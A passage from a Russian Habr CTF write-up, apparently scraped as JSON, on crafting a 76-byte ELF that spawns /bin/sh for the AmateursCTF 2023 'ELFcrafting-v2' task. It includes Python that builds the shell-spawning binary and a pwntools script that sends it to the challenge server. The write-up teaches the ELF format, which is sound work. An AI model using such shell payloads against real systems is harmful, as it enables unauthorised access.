'little'), # p_paddr     *HEADER_LENGTH.to_bytes(4, 'little'), # p_filesz     *HEADER_LENGTH.to_bytes(4, 'little'), # p_memsz     5, 0, 0, 0, 0, 0x10, 0, 0, # p_flags, p_align ])  assert len(header) == HEADER_LENGTH  print(len(header), header) print(len(code), code)  with open('.\/result', 'wb') as f:     f.write(header)     f.write(code)<\/code><\/pre>\n<p>\u041f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c, \u0447\u0442\u043e \u0432\u0441\u0451 \u0435\u0449\u0451 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442:<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/d95\/5cd\/504\/d955cd50462ff2223f61927982e94a15.png\" alt=\"\u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0440\u0430\u0431\u043e\u0442\u044b \u0432\u0442\u043e\u0440\u043e\u0433\u043e \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0430\" title=\"\u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0440\u0430\u0431\u043e\u0442\u044b \u0432\u0442\u043e\u0440\u043e\u0433\u043e \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0430\" width=\"675\" height=\"149\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/d95\/5cd\/504\/d955cd50462ff2223f61927982e94a15.png\"\/><\/p>\n<div><figcaption>\u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0440\u0430\u0431\u043e\u0442\u044b \u0432\u0442\u043e\u0440\u043e\u0433\u043e \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0430<\/figcaption><\/div>\n<\/figure>\n<p>\u041d\u0430 \u0434\u0430\u043d\u043d\u043e\u043c \u044d\u0442\u0430\u043f\u0435 \u0443\u0436\u0435 \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0441\u044f \u044f\u0441\u043d\u043e, \u043e\u0442\u043a\u0443\u0434\u0430 \u0432\u0437\u044f\u043b\u0438\u0441\u044c 76 \u0431\u0430\u0439\u0442 \u0438\u0437 \u043f\u0440\u0435\u0434\u0438\u0441\u043b\u043e\u0432\u0438\u044f, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u043d\u0430\u043c \u043e\u0441\u0442\u0430\u043b\u043e\u0441\u044c \u043b\u0438\u0448\u044c \u0443\u0431\u0440\u0430\u0442\u044c \u043a\u0443\u0434\u0430-\u043d\u0438\u0431\u0443\u0434\u044c \u0430\u0441\u0441\u0435\u043c\u0431\u043b\u0435\u0440\u043d\u044b\u0439 \u043a\u043e\u0434.<\/p>\n<h2>\u0423\u043f\u0430\u043a\u043e\u0432\u044b\u0432\u0430\u0435\u043c \u043a\u043e\u0434 \u0432 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a<\/h2>\n<p>\u0414\u043b\u044f \u043d\u0430\u0447\u0430\u043b\u0430 \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u043c, \u043a\u0430\u043a \u043c\u044b \u0432\u043e\u043e\u0431\u0449\u0435 \u043c\u043e\u0436\u0435\u043c \u0443\u043c\u0435\u043d\u044c\u0448\u0438\u0442\u044c \u043d\u0430\u0448 \u0442\u0435\u043a\u0443\u0449\u0438\u0439 \u043a\u043e\u0434:<\/p>\n<pre><code class=\"assembly\">mov eax, 11 mov ebx, 0x08048008 int 0x80<\/code><\/pre>\n<p>\u042f\u0441\u043d\u043e, \u0447\u0442\u043e \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u044e\u044e \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044e \u043d\u0438\u043a\u0443\u0434\u0430 \u043d\u0435 \u0434\u0435\u0442\u044c, \u0437\u0430\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 <code>ebx<\/code> \u0442\u043e\u0436\u0435, \u0445\u043e\u0442\u044f \u044d\u0442\u043e \u0437\u0430\u0432\u0438\u0441\u0438\u0442 \u043e\u0442 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f, \u043d\u043e \u0443\u043c\u0435\u043d\u044c\u0448\u0438\u0442\u044c \u0434\u043e 2 \u0431\u0430\u0439\u0442 \u0442\u043e\u0447\u043d\u043e \u043d\u0435 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u0441\u044f, \u0437\u0430\u0442\u043e \u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f <code>eax<\/code> \u0441\u043f\u043e\u043a\u043e\u0439\u043d\u043e \u043f\u0435\u0440\u0435\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0432 <code>mov al, 11<\/code>:<\/p>\n<pre><code>0: \u00a0b0 0b \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 mov \u00a0 \u00a0al, 0xb 2: \u00a0bb 08 80 04 08 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0mov \u00a0 \u00a0ebx, 0x8048008 7: \u00a0cd 80 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 int \u00a0 \u00a00x80<\/code><\/pre>\n<p>\u041f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u0432\u0441\u0435\u0433\u043e 9 \u0431\u0430\u0439\u0442! \u0412\u0441\u043f\u043e\u043c\u0438\u043d\u0430\u0435\u043c \u0438\u0437 \u043d\u0430\u0447\u0430\u043b\u0430 \u0440\u0430\u0441\u0441\u043a\u0430\u0437\u0430 \u043e \u0442\u043e\u043c, \u0447\u0442\u043e \u043f\u043e\u043b\u044f <code>e_shoff<\/code>, <code>e_flags<\/code> \u0438 <code>e_ehsize<\/code> \u043d\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442\u0441\u044f, \u0430 \u043e\u043d\u0438 \u043a\u0430\u043a \u0440\u0430\u0437 \u0437\u0430\u043d\u0438\u043c\u0430\u044e\u0442 10 \u0431\u0430\u0439\u0442 \u0432 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0435. \u041e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0441\u043e\u0431\u0440\u0430\u0442\u044c \u0432\u0441\u0451 \u0432 \u043a\u0443\u0447\u0443:<\/p>\n<pre><code class=\"python\">  MEMORY_START = 0x08048000 HEADER_LENGTH = 76  header = bytes([     *b'\\x7fELF', 1, 1, 1, 0, *b'\/bin\/sh', 0, # e_ident     2, 0, 3, 0, 1, 0, 0, 0, # e_type, e_machine, e_version     *(MEMORY_START + 32).to_bytes(4, 'little'), # e_entry     44, 0, 0, 0, # e_phoff     0xb0, 0x0b, # mov al, 11     0xbb, *(MEMORY_START + 8).to_bytes(4, 'little'), # mov ebx, MEMORY_START + 8     0xcd, 0x80, # int 0x80     0,     32, 0, 1, 0, 0, 0, 0, 0, 0, 0, # e_phentsize, e_phnum, e_shentsize, e_shnum, e_shstrndx                                    # p_type, p_offset     *MEMORY_START.to_bytes(4, 'little'), # p_vaddr     *MEMORY_START.to_bytes(4, 'little'), # p_paddr     *HEADER_LENGTH.to_bytes(4, 'little'), # p_filesz     *HEADER_LENGTH.to_bytes(4, 'little'), # p_memsz     5, 0, 0, 0, 0, 0x10, 0, 0, # p_flags, p_align ])  assert len(header) == HEADER_LENGTH  print(len(header), header)  with open('.\/result', 'wb') as f:     f.write(header)<\/code><\/pre>\n<p>\u041c\u043e\u0436\u043d\u043e \u0437\u0430\u043c\u0435\u0442\u0438\u0442\u044c, \u043a\u0430\u043a \u043c\u044b \u043f\u0435\u0440\u0435\u0448\u043b\u0438 \u043e\u0442 <code>elf_header<\/code>, <code>program_header<\/code> \u0438 <code>code<\/code> \u0441\u043d\u0430\u0447\u0430\u043b\u0430 \u043a <code>header<\/code> \u0438 <code>code<\/code>, \u0430 \u0442\u0435\u043f\u0435\u0440\u044c \u0443\u0436\u0435 \u0438 \u043a \u043f\u0440\u043e\u0441\u0442\u043e <code>header<\/code> =)<\/p>\n<p>\u0414\u043b\u044f \u043d\u0430\u0447\u0430\u043b\u0430 \u0443\u0431\u0435\u0434\u0438\u043c\u0441\u044f, \u0447\u0442\u043e \u044f\u0434\u0440\u043e \u0432\u0441\u0451 \u0435\u0449\u0451 \u043c\u043e\u0436\u0435\u0442 \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c \u0444\u0430\u0439\u043b:<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/d85\/567\/fdc\/d85567fdc3890fddc331bc31409ec0a8.png\" alt=\"\u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0440\u0430\u0431\u043e\u0442\u044b \u0442\u0440\u0435\u0442\u044c\u0435\u0439 \u0432\u0435\u0440\u0441\u0438\u0438\" title=\"\u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0440\u0430\u0431\u043e\u0442\u044b \u0442\u0440\u0435\u0442\u044c\u0435\u0439 \u0432\u0435\u0440\u0441\u0438\u0438\" width=\"673\" height=\"130\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/d85\/567\/fdc\/d85567fdc3890fddc331bc31409ec0a8.png\"\/><\/p>\n<div><figcaption>\u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0440\u0430\u0431\u043e\u0442\u044b \u0442\u0440\u0435\u0442\u044c\u0435\u0439 \u0432\u0435\u0440\u0441\u0438\u0438<\/figcaption><\/div>\n<\/figure>\n<p>\u041d\u043e \u0435\u0441\u0442\u044c, \u043a\u043e\u043d\u0435\u0447\u043d\u043e, \u0438 \u043d\u0435\u043f\u0440\u0438\u044f\u0442\u043d\u044b\u0435 \u043c\u043e\u043c\u0435\u043d\u0442\u044b. \u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, gdb \u0442\u0435\u043f\u0435\u0440\u044c \u043e\u0442\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0442\u044c \u043d\u0430\u0448 \u0444\u0430\u0439\u043b, \u0445\u043e\u0442\u044f \u044d\u0442\u043e \u043e\u0431\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u0437\u0430\u043f\u0443\u0441\u043a\u043e\u043c \u0447\u0435\u0440\u0435\u0437 gdbserver, \u043d\u043e \u0432\u0441\u0451 \u0440\u0430\u0432\u043d\u043e \u043d\u0435\u043f\u0440\u0438\u044f\u0442\u043d\u043e.<\/p>\n<h2>\u041f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u0444\u043b\u0430\u0433<\/h2>\n<p>\u0414\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u0444\u043b\u0430\u0433\u0430 \u043d\u0430\u043f\u0438\u0448\u0435\u043c \u0435\u0449\u0451 \u043e\u0434\u0438\u043d \u0441\u043a\u0440\u0438\u043f\u0442, \u0447\u0442\u043e\u0431\u044b \u043d\u0435 \u0443\u0442\u0440\u0443\u0436\u0434\u0430\u0442\u044c \u0441\u0435\u0431\u044f \u0432\u043e\u0437\u043d\u0451\u0439 \u0441 \u043f\u0435\u0440\u0435\u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435\u043c \u0432\u0432\u043e\u0434\u0430 \u0441\u043d\u0430\u0447\u0430\u043b\u0430 \u0438\u0437 \u0444\u0430\u0439\u043b\u0430, \u0430 \u0437\u0430\u0442\u0435\u043c \u0438\u0437 \u0442\u0435\u0440\u043c\u0438\u043d\u0430\u043b\u0430, \u0438\u043b\u0438 \u0447\u0435\u043c-\u0442\u043e \u0435\u0449\u0451 \u043f\u043e\u0434\u043e\u0431\u043d\u044b\u043c:<\/p>\n<pre><code class=\"python\">from pwn import *   # sh = process(['.\/chal']) sh = remote(...)  with open('result', 'rb') as f:     sh.send(f.read())  sh.interactive()<\/code><\/pre>\n<p>\u0418, \u043d\u0430\u043a\u043e\u043d\u0435\u0446, \u043f\u043e\u043b\u0443\u0447\u0438\u043c \u0444\u043b\u0430\u0433:<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/eef\/a8b\/d22\/eefa8bd22c58a96dd2a8a6f2e5a064bd.png\" alt=\"\u041f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u0435 \u0444\u043b\u0430\u0433\u0430\" title=\"\u041f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u0435 \u0444\u043b\u0430\u0433\u0430\" width=\"573\" height=\"261\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/eef\/a8b\/d22\/eefa8bd22c58a96dd2a8a6f2e5a064bd.png\"\/><\/p>\n<div><figcaption>\u041f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u0435 \u0444\u043b\u0430\u0433\u0430<\/figcaption><\/div>\n<\/figure>\n<h2>\u041f\u043e\u0441\u043b\u0435\u0441\u043b\u043e\u0432\u0438\u0435<\/h2>\n<p>\u041a\u043e\u043d\u0435\u0447\u043d\u043e, \u043f\u043e \u0445\u043e\u0434\u0443 \u0431\u044b\u043b\u0438 \u0443\u043f\u0443\u0449\u0435\u043d\u044b \u043c\u043d\u043e\u0433\u0438\u0435 \u043c\u043e\u043c\u0435\u043d\u0442\u044b \u043a\u0430\u043a \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u0437\u0430\u0434\u0430\u043d\u0438\u044f, \u0442\u0430\u043a \u0438 \u0434\u0435\u0442\u0430\u043b\u0435\u0439 \u0444\u043e\u0440\u043c\u0430\u0442\u0430 ELF, \u043d\u043e \u0434\u0430\u043d\u043d\u044b\u0439 \u043c\u0430\u0442\u0435\u0440\u0438\u0430\u043b \u0441\u0442\u043e\u0438\u0442 \u0432\u043e\u0441\u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0442\u044c \u0432 \u043f\u0435\u0440\u0432\u0443\u044e \u043e\u0447\u0435\u0440\u0435\u0434\u044c \u043a\u0430\u043a how-to \u0434\u043b\u044f \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u0430\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u043d\u044b\u0445 \u0437\u0430\u0434\u0430\u043d\u0438\u0439 CTF, \u0442\u043e \u0435\u0441\u0442\u044c write-up, \u043d\u0435\u0436\u0435\u043b\u0438 \u0447\u0435\u043c \u043f\u043e\u043b\u043d\u043e\u0446\u0435\u043d\u043d\u044b\u0439 \u0443\u0447\u0435\u0431\u043d\u0438\u043a \u043f\u043e \u0444\u043e\u0440\u043c\u0430\u0442\u0443 ELF.<\/p>\n<p>\u0421\u043f\u0430\u0441\u0438\u0431\u043e \u0437\u0430 \u043f\u0440\u043e\u0447\u0442\u0435\u043d\u0438\u0435! \u041d\u0430\u0434\u0435\u044e\u0441\u044c, \u043e\u043f\u0438\u0441\u0430\u043d\u043d\u043e\u0435 \u0432\u044b\u0448\u0435 \u043f\u043e\u043a\u0430\u0437\u0430\u043b\u043e\u0441\u044c \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u043c, \u043d\u0435 \u0441\u0442\u043e\u0438\u0442 \u0431\u043e\u044f\u0442\u044c\u0441\u044f \u0440\u0430\u0437\u0431\u0438\u0440\u0430\u0442\u044c\u0441\u044f \u0432 \u0441\u043f\u0435\u0446\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f\u0445 \u0438 \u0443\u0436 \u0442\u0435\u043c \u0431\u043e\u043b\u0435\u0435 \u0432\u043e\u0441\u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0442\u044c \u0440\u0430\u0431\u043e\u0442\u0443 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0445 \u0447\u0430\u0441\u0442\u0435\u0439 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0430 \u0438\u043b\u0438 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u043a\u0430\u043a \u043d\u0435\u0447\u0442\u043e \u043c\u0430\u0433\u0438\u0447\u0435\u0441\u043a\u043e\u0435. \u0423 \u0432\u0441\u0435\u0433\u043e \u0435\u0441\u0442\u044c \u0438\u0441\u0445\u043e\u0434\u043d\u0438\u043a\u0438.<\/p>\n<\/p>\n<\/div>\n<\/div>\n<\/div>\n<p> <!----> <!----><\/div>\n<p> <!----> <!----><br \/> \u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b \u0441\u0442\u0430\u0442\u044c\u0438 <a href=\"https:\/\/habr.com\/ru\/articles\/749480\/\"> https:\/\/habr.com\/ru\/articles\/749480\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<div><\/div>\n<div id=\"post-content-body\">\n<div>\n<div class=\"article-formatted-body article-formatted-body article-formatted-body_version-2\">\n<div xmlns=\"http:\/\/www.w3.org\/1999\/xhtml\">\n<p>\u041d\u0430 \u0425\u0430\u0431\u0440\u0435 \u0443\u0436\u0435 \u043d\u0435 \u0440\u0430\u0437 \u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b\u0438\u0441\u044c \u0441\u0442\u0430\u0442\u044c\u0438 \u043f\u0440\u043e \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e \u0444\u043e\u0440\u043c\u0430\u0442\u0430 ELF \u0438 \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u0444\u0430\u0439\u043b\u043e\u0432 \u0432 \u0442\u0430\u043a\u043e\u043c \u0444\u043e\u0440\u043c\u0430\u0442\u0435 \u0432\u0440\u0443\u0447\u043d\u0443\u044e, \u043d\u043e \u044f \u043d\u0435 \u0441\u0447\u0438\u0442\u0430\u044e \u043b\u0438\u0448\u043d\u0438\u043c \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u0442\u044c \u0438 \u0441\u0432\u043e\u0439 \u0432\u0430\u0440\u0438\u0430\u043d\u0442 \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u044d\u0442\u043e\u0439 \u0437\u0430\u0434\u0430\u0447\u0438. \u0412 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0441\u044f \u0444\u0430\u0439\u043b, \u0432\u044b\u0437\u044b\u0432\u0430\u044e\u0449\u0438\u0439 <code>\/bin\/sh<\/code> \u0438 \u0437\u0430\u043d\u0438\u043c\u0430\u044e\u0449\u0438\u0439 \u0432\u0441\u0435\u0433\u043e 76 \u0431\u0430\u0439\u0442 (\u0447\u0442\u043e \u043d\u0430 8 \u0431\u0430\u0439\u0442 \u043c\u0435\u043d\u044c\u0448\u0435, \u0447\u0435\u043c \u0441\u0443\u043c\u043c\u0430 \u0434\u043b\u0438\u043d \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u043e\u0432 ELF, \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u044b\u0445 \u0434\u043b\u044f \u0437\u0430\u043f\u0443\u0441\u043a\u0430).<\/p>\n<h2>\u041f\u043e\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430 \u0437\u0430\u0434\u0430\u0447\u0438<\/h2>\n<p>\u041d\u0430\u0447\u043d\u0443 \u0441 \u0442\u043e\u0433\u043e, \u043e\u0442\u043a\u0443\u0434\u0430 \u0432\u0437\u044f\u043b\u0430\u0441\u044c \u0437\u0430\u0434\u0430\u0447\u0430. \u041d\u0430 \u044d\u0442\u043e\u0439 \u043d\u0435\u0434\u0435\u043b\u0435 \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u043b <a href=\"https:\/\/ctf.amateurs.team\" rel=\"noopener noreferrer nofollow\">AmateursCTF 2023<\/a>, \u043e\u0434\u043d\u043e\u0439 \u0438\u0437 \u0437\u0430\u0434\u0430\u0447 \u043d\u0430 pwn \u0431\u044b\u043b\u0430 \u00abELFcrafting-v2\u00bb:<\/p>\n<blockquote>\n<p>The smallest possible 64 bit ELF is 80 bytes. Can you golf it down to 79 bytes?<\/p>\n<\/blockquote>\n<p>\u0418 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d \u0444\u0430\u0439\u043b, \u043a\u0440\u0443\u0442\u044f\u0449\u0438\u0439\u0441\u044f \u043d\u0430 \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u0435. \u041e\u0442\u043a\u0440\u044b\u0432\u0430\u044f \u0444\u0430\u0439\u043b \u0432 Ghidra \u0432\u0438\u0434\u0438\u043c, \u0447\u0442\u043e \u043e\u0442 \u043d\u0430\u0441 \u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f:<\/p>\n<figure class=\"\">\n<div><figcaption>\u041a\u043e\u0434 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 main<\/figcaption><\/div>\n<\/figure>\n<p>\u0422\u0430\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c \u0435\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u0441\u043f\u043e\u0441\u043e\u0431 \u0440\u0435\u0448\u0438\u0442\u044c \u0437\u0430\u0434\u0430\u0447\u0443 \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0444\u043b\u0430\u0433 \u2014 \u043d\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 ELF-\u0444\u0430\u0439\u043b (\u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u0441\u0438\u0433\u043d\u0430\u0442\u0443\u0440\u044b \u0432 \u043d\u0430\u0447\u0430\u043b\u0435 \u0444\u0430\u0439\u043b\u0430). \u041a\u043e\u043d\u0435\u0447\u043d\u043e, \u043d\u0430 \u0432\u0441\u044f\u043a\u0438\u0439 \u0441\u043b\u0443\u0447\u0430\u0439 \u0431\u044b\u043b \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d \u043a\u043e\u0434 \u044f\u0434\u0440\u0430 Linux \u043d\u0430 \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u0434\u0440\u0443\u0433\u0438\u0445 \u0441\u043f\u043e\u0441\u043e\u0431\u043e\u0432 \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c\u0441\u044f \u0441 \u0442\u0430\u043a\u043e\u0439 \u0441\u0438\u0433\u043d\u0430\u0442\u0443\u0440\u043e\u0439, \u043d\u043e \u043a \u0441\u043e\u0436\u0430\u043b\u0435\u043d\u0438\u044e, shebang \u0441\u0442\u0440\u043e\u043a\u0430 \u0434\u043e\u043b\u0436\u043d\u0430 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e \u043d\u0430\u0447\u0438\u043d\u0430\u0442\u044c\u0441\u044f \u0441 <code>#!<\/code>, \u0430 \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u044b\u0435 \u0444\u043e\u0440\u043c\u0430\u0442\u044b \u0444\u0430\u0439\u043b\u043e\u0432 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0430\u044e\u0442\u0441\u044f \u043c\u043e\u0434\u0443\u043b\u044f\u043c\u0438, \u0438 \u0432 \u0446\u0435\u043b\u043e\u043c \u0442\u043e\u0436\u0435 \u043d\u0435 \u043f\u043e\u0434\u0445\u043e\u0434\u044f\u0442.<\/p>\n<h2>\u0418\u0437\u0443\u0447\u0430\u0435\u043c \u0444\u043e\u0440\u043c\u0430\u0442 ELF<\/h2>\n<p>\u0412\u043e\u043e\u0440\u0443\u0436\u0438\u0432\u0448\u0438\u0441\u044c \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043e\u043c (<a href=\"https:\/\/refspecs.linuxfoundation.org\/elf\/elf.pdf\" rel=\"noopener noreferrer nofollow\">\u0441\u0441\u044b\u043b\u043a\u0430<\/a>) \u043f\u043e\u043f\u0440\u043e\u0431\u0443\u0435\u043c \u0434\u043b\u044f \u043d\u0430\u0447\u0430\u043b\u0430 \u0441\u043e\u0431\u0440\u0430\u0442\u044c \u0445\u043e\u0442\u044c \u043a\u0430\u043a\u043e\u0439-\u0442\u043e \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u043c\u044b\u0439 ELF-\u0444\u0430\u0439\u043b.<\/p>\n<p>\u0414\u043b\u044f \u043d\u0430\u0447\u0430\u043b\u0430 \u0432\u0438\u0434\u0438\u043c, \u0447\u0442\u043e \u043d\u0430\u0447\u0438\u043d\u0430\u0442\u044c\u0441\u044f \u0444\u0430\u0439\u043b \u0434\u043e\u043b\u0436\u0435\u043d \u0441 ELF-\u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0430, \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c:<\/p>\n<pre><code class=\"cpp\">#define EI_NIDENT 16  typedef struct {     unsigned char e_ident[EI_NIDENT];     Elf32_Half    e_type;     Elf32_Half    e_machine;     Elf32_Word    e_version;     Elf32_Addr    e_entry;     Elf32_Off     e_phoff;     Elf32_Off     e_shoff;     Elf32_Word    e_flags;     Elf32_Half    e_ehsize;     Elf32_Half    e_phentsize;     Elf32_Half    e_phnum;     Elf32_Half    e_shentsize;     Elf32_Half    e_shnum;     Elf32_Half    e_shstrndx; } Elf32_Ehdr;<\/code><\/pre>\n<p>\u0417\u0434\u0435\u0441\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442\u0441\u044f \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0435 \u0442\u0438\u043f\u044b \u0434\u0430\u043d\u043d\u044b\u0445 \u0434\u043b\u044f \u043f\u043e\u043b\u0435\u0439, \u043e\u043d\u0438 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u044e\u0442\u0441\u044f \u0434\u043b\u044f <strong>32-\u0431\u0438\u0442\u043d\u043e\u0433\u043e<\/strong> \u0444\u043e\u0440\u043c\u0430\u0442\u0430 ELF (\u0432 64-\u0431\u0438\u0442\u043d\u043e\u043c \u0434\u0440\u0443\u0433\u0438\u0435 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u044f) \u0447\u0443\u0442\u044c \u0432\u044b\u0448\u0435 \u0432 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0435:<\/p>\n<div>\n<div class=\"table\">\n<table>\n<tbody>\n<tr>\n<td data-colwidth=\"156\" width=\"156\">\n<p align=\"left\">\u0418\u043c\u044f<\/p>\n<\/td>\n<td data-colwidth=\"69\" width=\"69\">\n<p align=\"left\">\u0420\u0430\u0437\u043c\u0435\u0440<\/p>\n<\/td>\n<td data-colwidth=\"125\" width=\"125\">\n<p align=\"left\">\u0412\u044b\u0440\u0430\u0432\u043d\u0438\u0432\u0430\u043d\u0438\u0435<\/p>\n<\/td>\n<td>\n<p align=\"left\">\u041f\u043e\u044f\u0441\u043d\u0435\u043d\u0438\u0435<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td data-colwidth=\"156\" width=\"156\">\n<p align=\"left\"><code>Elf32_Addr<\/code><\/p>\n<\/td>\n<td data-colwidth=\"69\" width=\"69\">\n<p align=\"center\">4<\/p>\n<\/td>\n<td data-colwidth=\"125\" width=\"125\">\n<p align=\"center\">4<\/p>\n<\/td>\n<td>\n<p align=\"left\">\u0411\u0435\u0437\u0437\u043d\u0430\u043a\u043e\u0432\u044b\u0439 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u044b\u0439 \u0430\u0434\u0440\u0435\u0441<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td data-colwidth=\"156\" width=\"156\">\n<p align=\"left\"><code>Elf32_Half<\/code><\/p>\n<\/td>\n<td data-colwidth=\"69\" width=\"69\">\n<p align=\"center\">2<\/p>\n<\/td>\n<td data-colwidth=\"125\" width=\"125\">\n<p align=\"center\">2<\/p>\n<\/td>\n<td>\n<p align=\"left\">\u0411\u0435\u0437\u0437\u043d\u0430\u043a\u043e\u0432\u043e\u0435 \u0447\u0438\u0441\u043b\u043e \u0441\u0440\u0435\u0434\u043d\u0435\u0433\u043e \u0440\u0430\u0437\u043c\u0435\u0440\u0430<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td data-colwidth=\"156\" width=\"156\">\n<p align=\"left\"><code>Elf32_Off<\/code><\/p>\n<\/td>\n<td data-colwidth=\"69\" width=\"69\">\n<p align=\"center\">4<\/p>\n<\/td>\n<td data-colwidth=\"125\" width=\"125\">\n<p align=\"center\">4<\/p>\n<\/td>\n<td>\n<p 